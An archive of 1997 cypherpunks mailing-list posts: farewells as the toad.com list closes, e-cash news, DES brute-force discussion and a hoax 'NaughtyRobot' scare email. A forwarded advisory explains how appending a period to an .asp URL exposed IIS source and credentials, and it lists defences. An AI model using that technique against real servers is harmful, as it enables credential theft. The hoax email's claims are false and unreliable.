MIME-Version: 1.0
Content-Type: text/plain



"...long live cypherpunks?"

"So long, and thanks for all the fish?"


But, seriously, folks...

Lucky Green echoed many of my own thoughts when he talked about all the
things being on this list has meant to him. Like Lucky, there is a
rediculously huge list of things that this list has taught me over the
almost three (wow..) years or so that I've been here.

Thanks to all of you here, I have had nothing short of a Copernican
transformation in my perception of the universe, and it completely changed
what I wanted to do with the rest of my life. From the very first time I
started reading this list and applying what I learned here to what I
already knew, right then, for the first time in a *very* long time, I knew
*exactly* how some very important pieces of the world actually worked, and
more important, why they were going to change.  I now *know* where the
world is going to go. Maybe not when, of course, but certainly where and
how. :-) (Old stock picker's joke: "I can tell you what. I can tell you
when. I can't tell you both. If I did, I wouldn't tell *you*.")


Anyway, I've learned all these things from many cypherpunks, some still
here, and a lot who've left. I expect that, as we move into the next phase
of this "group", we'll continue to teach ourselves much more about the
world and strong cryptography's effect on it. But, nothing will compare to
the feeling we'll get when we remember the time we've spent here at Toad
Hall. We have John Gilmore to thank for the "lodgings", of course, and,
certainly, for his encouragement and support.  And, obviously, his
tolerance, which finally sagged and broke under the weight of both his
expectations and those of our own.

We also have to thank Tim May for his um, ideological, presence on this
list from since before it existed, :-), and, or course, for his current
"leadership", both moral and political. (Of course, I can say all the next
few wierd and gushy things about him without fear of refutation on his
part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who
was our compass. It was Tim who came down from the mountain and stopped us
from worshiping the fatted calf of censorship, and who is now leading us
into the promised land of unfettered discourse, both on usenet and on the
new cypherpunk server network. Since Tim paper-trained most of us here
(myself included, though some may debate how well he succeeded :-)), that
is, how to behave on this list, and, most important, how to imagine what a
world of strong crytography on ubiquitous networks would look like, I now
find his "leading" us out onto the net, and away from Sinai, most
symmetrical indeed. :-).


And so, in this last 24 hours or so on toad.com, I want to thank *both* Tim
and John. But, also, I personally want to thank the "money-punks". People
like Eric Hughes, and Perry Metzger, and Ian Goldberg, and Hal Finney, and
Lucky Green, and Duncan Frissell, and Black Unicorn, and many, many other
people, who have helped me work through, on this list, or in private
e-mail, or, occasionally, in person, all of the stuff they know, and the
stuff I have figured out myself. All about e$, about digital bearer
certificate markets, about microintermediation. All the things which
completely occupy almost all my waking thoughts these days.


Because of this list's effect on my life, I have been motivated to start
the Digital Commerce Society of Boston, to evangelize financial
cryptography to any audience who would listen to me, to create a web site
dedicated to e$, to create a group of e$ lists with some 300 total
subscribers, to work with Vinnie Moscaritolo to create both the Mac-Crypto
lists and conferences, to work with Vince Cate and Ray Hirschfeld to create
the world's first peer-reviewed conference on financial cryptography, and
with Vince and Ian Goldberg to create the world's first intensive financial
cryptography bootcamp (which is going on as I write this). To create, with
Vinnie, and Rachel Wilmer, and Anthony Templer, and Bob Antia, and Rodney
Thayer, the next generation of the e$ website and mailing lists.

Next week, I go to FC97 in Anguilla because of the things I've learned on
this list. In the middle of March, I go to Cupertino to help Vinnie with
Mac-Crypto 2.0, because of the things I've learned on this list. I've been
invited to speak all over the world (and New Hampshire, too :-)) to talk
about this stuff. I get quoted in the newspapers. I write magazine op-ed
pieces. It has even earned me a buck or two. :-).

In short, I owe everything I do of any consequence these days to my
participation on this list, and, for that, I'm profoundly grateful to all
of you for the privelege of being here: to listen, to learn, and,
occasionally, to pay back all the stuff I've learned with a thing or two
that I've worked out myself.


Like that creosote bush I talked about before, cypherpunks is not going to
die just because the address "cypherpunks@toad.com" ceases to exist. There
are already 3rd-order cypherpunks lists out there. 3rd generation copies of
the same "memetic" material. cypherpunks will *never* die, short of a
cybernetic Chixalub event of some kind, and, frankly, even then. The
internet sees censorship as damage and routes around it.


So. In a very real sense, today on cypherpunks is like any other day in the
life of a creosote bush. It's a big desert, folks. We're the only ones who
know how to live out here. The whole damn desert, as far as the eye can
see, is ours to move into.

All we have to do is keep filling in the empty spots...


Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 15:47:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mobil adopts no-physical-connection electronic payment token
Message-ID: <199702192347.PAA02130@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 19 Feb 1997 12:01:14 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Mobil adopts no-physical-connection electronic payment token
X-orig-from: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>
X-e$pam-source: bounce-dcsb@ai.mit.edu

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Wed, 19 Feb 1997 09:02:14 -0500
 From: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>
 To: dcsb@ai.mit.edu
 Subject: Mobil adopts no-physical-connection electronic payment token
 Sender: bounce-dcsb@ai.mit.edu
 Precedence: bulk
 Reply-To: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>



 FYI, from today's WSJ:

  ------------------------------ snip! ------------------------------

     Mobil Aims to Turn Gas Pumps
     Into Automatic-Payment Sites

     By PETER FRITSCH
     Staff Reporter of THE WALL STREET JOURNAL

     Mobil Corp. hopes to make life in the fast lane a little bit faster.

     The oil company will introduce Wednesday a miniature
     electronic-payment device that busy motorists can simply wave at
     a gasoline pump to fill 'er up.

     The tiny electronic tag -- called a Speedpass -- clips onto a
     driver's key ring. Mobil is betting the technology will catch on with
     drivers tired of fumbling for cash or waiting for a pump to authorize a
     credit-card purchase.

     Whether drivers are in such a hurry that they will be interested is
     an open question. "My key chain already looks like a janitor's,"
     says Carol Coale, a Houston securities analyst.

     Mobil, which tested the Speedpass over the past six months with
     10,000 consumers in St. Louis, says the added convenience can
     save the motorist valuable time.

     Mobil's technology, developed in partnership with Texas
     Instruments Inc. and Dresser Industries Inc., is similar to that used
     by drivers at bridge and highway toll booths. Once a driver waves
     the tag at the pump, the pump instantly contacts Mobil's credit
     department and charges a credit card preselected by the customer.

     The marketing effort challenges the conventional wisdom of
     gasoline retailing. Most drivers say location is more important
     when the gasoline gauge reads "empty" than brand name or price.
     Mobil's thinking is that the gee-whiz factor of owning the
     Speedpass, combined with the convenience, will persuade people to
     go an extra mile to buy from one of Mobil's 7,700 branded stations.

     Speedpass is also an attempt to help Mobil build on its position as
     the nation's top gasoline seller. With a 9.9% share of the market,
     Mobil in 1995 overtook Shell Oil Co. as the leading gasoline seller,
     as measured in gallons sold. (Figures for 1996 aren't available.)

     Mobil, which was among the first oil companies to use
     pay-at-the-pump technology, will introduce Speedpass in key
     markets by May 1.

  ------------------------------ snip! ------------------------------

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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 In the body of the message, write:  unsubscribe dcsb
 Or, to subscribe,           write:  subscribe dcsb
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@PrimeNet.Com>
Date: Wed, 19 Feb 1997 15:31:18 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <199702192331.PAA01896@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    Come on, Bob.  Quit rubbing it in about that clear blue water, the 
    tropical temperatures and high horsepower speakers.
        
        -attila

on or about 970219:0704 Robert Hettinga <rah@shipwright.com> said:

+At 8:29 pm -0500 on 2/18/97, ! Drive wrote:
+> A proposal and prototype of a different anonymity mechanism can be found at:
+>   http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

+And, of course, you can hear about the next generation from the same
+bunch, on Monday morning at FC97:

+    Unlinkable Serial Transactions
+    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
+    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
+    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

+:-).

+<http://www.offshore.com.ai/fc97/> Cheers, Bob Hettinga

 _____________________________________________________________________
 
  Surveilence is just another form of entertainment.
 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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4LfcHeA/m5WSq+kK8GNbSsMq+7Bcfpw+iELlPUhbU671oecayfyJj1C/Irwr2pXF
dgNniD/2s0QnhDGEuHDbFtjkeIiSV70ED9+TO+osLG/fQIigV0jeIFPeh9D0Ri/z
FueZ3HRx784=
=Dtbl
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 20 Feb 1997 14:26:41 -0800 (PST)
To: trei@process.com
Subject: DES search publicity (was Re: Cryptanalysis)
Message-ID: <199702202226.OAA23750@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei <trei@process.com> writes:
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > There may be a distributed Internet crack using that approach, 
> > though DES is still very inefficient on general-purpose computers and 
> > works better on bit-twiddliing chips.
> 
> There's one slowly shaping up, organized by the same people who did 
> the RC5-48 crack. I'm still rooting for an uncoordinated search, 
> which is already underway.

The people who did the RC5-48 crack over on <des-challenge@muffin.org>,
and <des-pr@mail.des-challenge.xtn.net>, or at least one of them in 
particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU.  
I'm having a heck of a time talking him out of it.

What does your software do with the key if it finds it?  Attempt to
email it RSA DS/email it to you/report it to user/other?

Do you know how many people are running your uncoordinated breaking
project?  Are you keeping track of how many people have copies.  (I
suppose that not knowing how many people are running the client is a
disadvantage with the uncoordinated approach.)

I'm trying to get UK Computer shopper to include an uncoordinated DES
searcher in their cover CD, along with a feature article on the
challenge (I thought the possibility of winning $10,000 might be a
large part of the interest factor for a reader).  Don't know if
they'll be interested yet.

(What I'm keen on is the sheer size of the readership -- if 10% of
that lot runs the software, something might happen fast!)

Has anyone tried doing something similar in the US?  Anyone with
contacts with other PC magazine with CD/disk on front format,
preferably with large readership, in UK, US, or other countries?

For this kind of project, you'd need something with a simple windows
interface and install script.  I'd have thought a DES breaker which is
installed in win3.1/win95 to always start at boot up, and consume free
cycles (ie set to back off when the machine is doing other things).  A
screen saver with nice presentation would be one way to do this.

Do any of the breakers do this?  Are there clients from other breaks
which could be adapted which do?  I think someone wrote a screen saver
based breaker after the SSL break?

Adam

ps

Have there been any sightings of your code outside the US?

Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where
things often turn up, but I haven't seen it yet.
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Name Withheld by Request <nobody@replay.com>
Date: Wed, 19 Feb 1997 18:11:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: It's time to move on, kids.
Message-ID: <199702200211.SAA03937@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


As of 2/14/97 there are 1295 subscribers to the cypherpunks mailing list.
85 of those subscriptions are to other mail-exploders. Smoke 'em if you
got 'em.

-Golem





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 20 Feb 1997 06:56:17 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702201456.GAA14462@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:56 PM 2/19/97 -0800, Dale Thorn wrote:

>It's good if you don't read the L.A. Times.  One of their lead editor-
>ializers (whores), a professor at USC law school named Erwin
>Chemerinsky,
>writes in relation to this subject "The federal government is an inde-
>pendent sovereign that cannot have its powers diminished by a state
>government's actions." (exact quote, 2/7/97).  Either that's a load of
>BS doubletalk, or it's one of the more fascistic commentaries from the
>Times, which is usually bad enough.

Hey, don't forget to shoot the messenger. Chemerinsky's statement is a
concise summary of at least the last 70 years of double jeopardy
jurisprudence. The only thing that's unusual about the use of the "dual
sovereign" doctrine against the cops who beat King was that it's usually used
against ordinary citizens, not cops. 

Do you suppose it's possible that some of the other evil conspiracies you see
lurking behind every bush are also just reflections of your own fears and
misunderstanding? 


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Version: 4.5

iQEVAgUBMwwPvf37pMWUJFlhAQEdtwf+PXP4jgU9kLlJ4VmI0tp5SUu2A7+4SIu1
fUB6nVCnJFroRAh1ds7lDonW8tjQw19/iOYyg0e1O+8cX4VlC0FhPJjD1nGwReWg
z9rFjYpZ0J23Q/fGZwCziz4QF1QZwwqVoiQM+eur7cAKVCTHOZI8v7LEwtJZAeiU
TUYS5YR7Vn6lkJ1XZQJv6Cjo1ZWQmldSQ4vue4qAk3DyHoaahbqa8Wkjk1CBmdpk
jDmk9Uy3ejwZ54CZz1AQrGM4Cvpc9/rMtUHUuQttN7OU/YSUBTWZivD+TJoVQPAJ
iFVcVbRiF6dnzpi7dOYt7E/ZXox1NsH0rgJ8JZuU0s3nuwgtW6qimA==
=khMb
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 06:56:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: E-Gold: It had to happen
Message-ID: <199702201456.GAA14483@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Ian Grigg <iang@systemics.com>
MIME-Version: 1.0
Precedence: Bulk
Date: Thu, 20 Feb 1997 10:53:31 +0100
From: Ian Grigg <iang@systemics.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: Re: E-Gold:  It had to happen

some dead guy called gold dot wrote:
> Yo, c-punks:

Yo, dude

>  In the back of the March 97 issue of Liberty Magazine is an ad
>  for a gold backed e-money system called e-gold(tm).  It appears
>  to be an on-line transaction system for paying other e-gold
>  account holders in e-money backed with gold or other precious
>  metals.

Nice one, perhaps you could scan in the ad, seeing as my issue doesn't
arrive until ... March.  Your system "appears to be" an accounting
system stuck on top of SSL.  But I guess we don't get to find out, for
sure, unless we commit lots of bucks...

>  See http://www.e-gold.com/ for more info.

Yeah, nice pages, lots of homework done here folks, but you forgot to
mention:

  who are you?
  where are you?
  when are you?
  will you be?

--
iang
iang@systemics.com
----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
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(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@process.com>
Date: Thu, 20 Feb 1997 09:11:44 -0800 (PST)
To: Bill Stewart <scotta@sauge.com
Subject: Re: Cryptanalysis
Message-ID: <199702201711.JAA16459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Wed, 19 Feb 1997 08:16:46 -0800
> From:          Bill Stewart <stewarts@ix.netcom.com>
> To:            Scott Auge <scotta@sauge.com>
> Cc:            cypherpunks@toad.com
> Subject:       Re: Cryptanalysis

> At 11:21 AM 2/15/97 -0500, you wrote:
> >Was wondering if anyone could help me with short explainations on the
> >cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
> >might get a better idea of what i'm trying to accomplish.
> 
> Cryptanalysis of DES is a 25-year ongoing academic exercise, with
> lots and lots of results.  It's easy to attack it in 2**55 tries,
> because of symmetry, but that's a very large number :-)

Many people have made statements to the effect that the complement
key property (if key K encrypts plaintext P to ciphertext C, then
K' encrypts P' to C', where A' is the one's complement of A') of
DES halves the work for a brute force attack, but these people don't
seem to have ever tried to actually use this property - it's 
effectively useless. You still need to run the DES rounds, and the
only win would be in the fact that preparing the key schedule of K'
from the key schedule of K used to be easier than preparing it from 
K' directly. This is no longer a win, since preparing key schedule 
for (K+1) from the key schedule of K is just as easy.

There's the possibility that I'm seriously dense (even Denning has
made statements about halving the effort), but I just don't see it.

[...] 
> The slow part of the attack _had_ been key scheduling, but recent work
> by Peter Trei and others shows that you can do key scheduling very
> efficiently for the brute-force keysearch problem by picking keys
> in Gray Code order (since a one-bit change in key causes a simple
> change in key-schedule - it's totally useless for normal encryption/
> decryption, but it's a big win for brute-force cracks.)

It's not totally useless - if you're going to have to prepare a lot 
of different key schedules (say, for many session keys under IPSEC),
it's still a win to OR together the key bit fanouts than to generate 
the key schedule by the traditional method. It trades a lot of 
upfront, one-time work for a later speedup. 
  
> There may be a distributed Internet crack using that approach, 
> though DES is still very inefficient on general-purpose computers and 
> works better on bit-twiddliing chips.

There's one slowly shaping up, organized by the same people who did 
the RC5-48 crack. I'm still rooting for an uncoordinated search, 
which is already underway.
 
Peter Trei
trei@process.com

PS: Is this the last message to cypherpunks actually about crypto?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Wed, 19 Feb 1997 22:26:16 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "cypherpunks is dead..."
Message-ID: <199702200626.WAA07994@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Mr. Robert Hettinga,

This is Tsuyoshi Hayashi, one of subscribers of the
cypherpunks list, lives in Yokohama, Japan.

I heard today's your voice on the cypherpunks list.  I am
little sad.

I am almost ROM, read-only member...  Although I have been
hear for two and a half (wow..) years, I posted only three
(or four...) messages.  I am a bad boy.
Sorry. > all

Instead of it, I have gotten many many cripto-concerned
info (such as PGP) which are worth reading (though they
are very difficult for me, both technical and language ;-).
Today I know about cryptography a little.  I am working
nearby the cryptographic field in Japan.  So I DO want to
say THANKS to all subscribers of the list and the
owner-cypherpunks@toad.com, and the host machine named
toad.com [140.174.2.1].

On Wed, 19 Feb 1997 15:37:08 -0500, Robert Hettinga said:
 >Anyway, I've learned all these things from many cypherpunks, some still

Yes, me too!

 >Because of this list's effect on my life, I have been motivated to start
 >the Digital Commerce Society of Boston, to evangelize financial
[..]

I found your DCSB list out about a month ago.  This list
is also interesting for me.  Thanks.

 >Next week, I go to FC97 in Anguilla because of the things I've learned on
[..]

I did want to go to FC97, but there is a long distance
between Anguilla and Japan...  I hope you will post the
summary and/or topics of FC97 to the DCSB. :-)

 >[..] cypherpunks is not going to
 >die just because the address "cypherpunks@toad.com" ceases to exist. There

Yah!

 >So. In a very real sense, today on cypherpunks is like any other day in the
 >life of a creosote bush. It's a big desert, folks. We're the only ones who

# Sorry.  Although there are both "creosote" and "bush" in
# my English-Japanese dictionary, I could not understand
# the meaning of "creosote bush".  Please teach me it in
# other easy words if you have a time.  In English is OK.
# In Japanese is the best. ;-)

====

Mr. Bob Hettinga and all, doumo arigatou gozaimashita!

# And sorry for my poor English.

In a "Roman Holiday", Audrey Hepburn said,
	"By all means, Roman..."
Today I say, "By all means, Cypherpunks..."

Best,

 - Tsuyoshi Hayashi <take@barrier-free.co.jp>
 - PGP public key: http://www.barrier-free.co.jp/take/pgpkey
 - (CF 27 34 5B 46 FA 2A 12  D2 4C E3 F7 2A 45 E0 22)
 - Barrier Free, Inc. (established on 25 Jan 1996)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ellen Iwasaki <eiwasaki@gol.com>
Date: Wed, 19 Feb 1997 22:26:09 -0800 (PST)
To: www-security@ns1.rutgers.edu
Subject: security breached by NaughtyRobot
Message-ID: <199702200626.WAA07968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


HELP! Can anyone tell me what this message is that I received in my mail
today? Is it real? Should I do as it suggests? I have used the Internet
once to purchase some books? Was my credit card number stolen in the
process? How did this happen and how will it affect me? What should I do?
PLEASE ADVISE ASAP! Thank you for your help
Ellen Iwasaki
Kumamoto, Japan

> From: eiwasaki@gol.com
> Date: Wed, 19 Feb 97 02:27 CST
> Apparently-From: eiwasaki@gol.com
> Apparently-To: eiwasaki@gol.com
> Reply-to: eiwasaki@gol.com
> Registered-mail-reply-requested-by: eiwasaki@gol.com
> Sensitivity: PERSONAL-CONFIDENTIAL
> Precedence: EMERGENCY
> Priority: URGENT
> Comment: Authenticated sender is <eiwasaki@gol.com>
> Organization: NaughtyRobot
> Subject: security breached by NaughtyRobot
>
> This message was sent to you by NaughtyRobot, an Internet spider that
> crawls into your server through a tiny hole in the World Wide Web.
>
> NaughtyRobot exploits a security bug in HTTP and has visited your host
> system to collect personal, private, and sensitive information.
>
> It has captured your Email and physical addresses, as well as your phone
> and credit card numbers.  To protect yourself against the misuse of this
> information, do the following:
>
>         1. alert your server SysOp,
>         2. contact your local police,
>         3. disconnect your telephone, and
>         4. report your credit cards as lost.
>
> Act at once.  Remember: only YOU can prevent DATA fires.
>
> This has been a public service announcement from the makers of
> NaughtyRobot -- CarJacking its way onto the Information SuperHighway.
>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 20 Feb 1997 13:10:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP (fwd)
Message-ID: <199702202110.NAA22766@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================

---------- Forwarded message ----------
Date: Thu, 20 Feb 1997 11:39:01 -0600
From: Mark Joseph Edwards <mark@ntshop.net>
To: "'bugtraq@netspace.org'" <bugtraq@netspace.org>
Cc: "'ntbugtraq@rc.on.ca'" <ntbugtraq@rc.on.ca>,
    "'ntsecurity@iss.net'" <ntsecurity@iss.net>
Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP


		MICROSOFT IIS AND ACTIVE SERVER ADVISORY
		 Security Hole in ASP Discovered in Microsoft ASP
				February 20, 1997

DESCRIPTION
A serious security hole was found in Microsoft's Active Server Pages (ASP) by Juan T. Llibre <j.llibre@codetel.net.do>. This hole allows Web clients to download unprocessed ASP files potentially exposing user ids and passwords. ASP files are the common file type used by Microsoft's IIS and Active Server to perform server-side processing.

HOW IT WORKS
To download an unprocessed ASP file, simply append a period to the asp URL. For example: http://www.domain1.com/default.asp becomes http://www.domain1.com/default.asp. With the period appendage, Internet Information Server (IIS) will send the unprocessed ASP file to the Web client, wherein the source to the file can be examined at will. If the source includes any security parameter designed to allow access to other system processes, such as an SQL  database, they will be revealed.

DEFENSE
There are two known ways to stop this behavior: 

1.Turn read permissions off of the ASP directory in the Internet Service Manager. This may not be a practical solution since many sites mix ASP and HTML files. If your site mixes these files together in the same directories, you may want to segregate them immediately. Now and in the future, treat your ASP files like any other Web based executable, and keep them in separate directories wherein permissions can be adjusted accordingly.

2.Download this filter written by Christoph Wille Christoph.Wille@unileoben.ac.at which can be located at http://www.ntshop.net/security/tools/sechole.zip or from http://www.genusa.com/asp/patch/sechole.zip

END OF ADVISORY






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 20 Feb 1997 12:56:50 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: "cypherpunks is dead..."
Message-ID: <199702202056.MAA22487@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:
> is stil bogged down, for reasons I have to believe have to do with
> pressures from somewhere, else why would e-mail packages not make PGP
> support painless?)

	There are several packages that do provide at least some level 
of PGP integration, but I have 2 very good reasons:

	1) The "market place" isn't willing to pay for the additional work.

	2) It isn't "sexy" enough to cause a programmer to want to add it 
to a mailer just for fun. 

	







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Laffra <laffra@ms.com>
Date: Thu, 20 Feb 1997 12:57:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Translating C++ to Java
Message-ID: <199702202057.MAA22497@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

I hope the following information is of interest, otherwise please ignore...

In August 1996 my book "Advanced Java" was published, and it still is one
of the only books that is not only absolutely emphatic about the language,
but in addition has a critical, honest, and objective look at Java.  I am
very happy with the reception of the book -- it is one of the Java
best-sellers, especially considering the small intended target buyers
segment (the more advanced Java programmer).  Enclosed with the book is
C2J, an automatic C++ to Java translator, written in C++ and requiring
specific UNIX tools.  My version of C2J was not very useful for a lot of
people because of the requirements on the environment.

I challenged the online community to look at the software and come up with
a full Java version. I am happy to report that has happened. A student at
PACE University in New York, Ilya Tilevich, took the challenge and did a
really nice job in making C2J a full Java program.

For more information, check out my personal home page at America Online:

	http://members.aol.com/laffra

and download the zip file containing the Java class files and source code.

I hope this information is useful for you,
Chris Laffra.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Feb 1997 12:56:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
Message-ID: <199702202056.MAA22488@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 2:37 pm -0500 on 2/20/97, snow wrote:


> > At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:
> > is stil bogged down, for reasons I have to believe have to do with
> > pressures from somewhere, else why would e-mail packages not make PGP
> > support painless?)

Uh, that wasn't me.

Sorry...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott A. Hommel" <shommel@zoo.uvm.edu>
Date: Thu, 20 Feb 1997 12:58:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702202058.MAA22548@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



For those of you who haven't seen this... "fake-web" document. A way 
hackers may easily get around things like SSL.

http://www.cs.princeton.edu/sip/pub/spoofingDocumentWithLongUntypeableName.html


*********************************
Scott A. Hommel
President,
New Paradigm Design, Inc.

PGP key available at:
http://paradigm-2.com/scott.html

*********************************







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 20 Feb 1997 14:27:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: RRE: crime and technology
Message-ID: <199702202227.OAA23770@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"rre@weber.ucsd.edu" 20-FEB-1997 07:55:48.58
From: Phil Agre <pagre@weber.ucsd.edu>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
the "redirect" command.  For information on RRE, including instructions
for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Wed, 19 Feb 1997 18:51:34 -0500
From: Belinda Juran <juran@law.harvard.edu>

[...]

                    Harvard Journal of Law & Technology

                        Symposium:  Crime & Technology
Law Enforcement Technology  - Cybercrime - Electronic Commerce

                                 Saturday, March 15, 1997
Ames Courtroom, Austin Hall at Harvard Law School in Cambridge, MA.
                                   Registration:  9:30 A.M.

